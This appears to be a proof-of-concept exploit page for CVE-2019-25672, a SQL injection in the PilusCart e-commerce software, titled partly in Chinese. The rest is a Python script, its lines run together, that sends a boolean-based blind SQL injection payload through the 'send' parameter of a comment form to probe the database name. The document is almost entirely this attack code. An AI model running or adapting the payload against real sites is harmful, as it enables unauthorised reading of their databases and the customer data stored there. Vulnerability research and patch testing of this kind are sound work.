CVE-2019-25672 PilusCart SQL注入漏洞

import requests # Target URL endpoint for comment submission target_url = "http://example.com/path_to_comment_submit" # Attacker-controlled cookies or headers (if needed) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Malicious payload exploiting the 'send' parameter via RLIKE boolean-based injection # This payload attempts to extract the first character of the database name payload = { "send": "1' RLIKE (SELECT (CASE WHEN (SUBSTRING(DATABASE(),1,1)='p') THEN 1 ELSE 0x28 END)) AND '1'='1" } try: # Send POST request response = requests.post(target_url, data=payload, headers=headers, timeout=10) # Analyze response logic if "error" not in response.text and response.status_code == 200: print("[+] Payload executed successfully.") print("[+] Response length:", len(response.text)) # Further logic required to compare True/False responses for data extraction else: print("[-] Anomaly detected or request failed.") except requests.RequestException as e: print(f"[-] Connection error: {e}")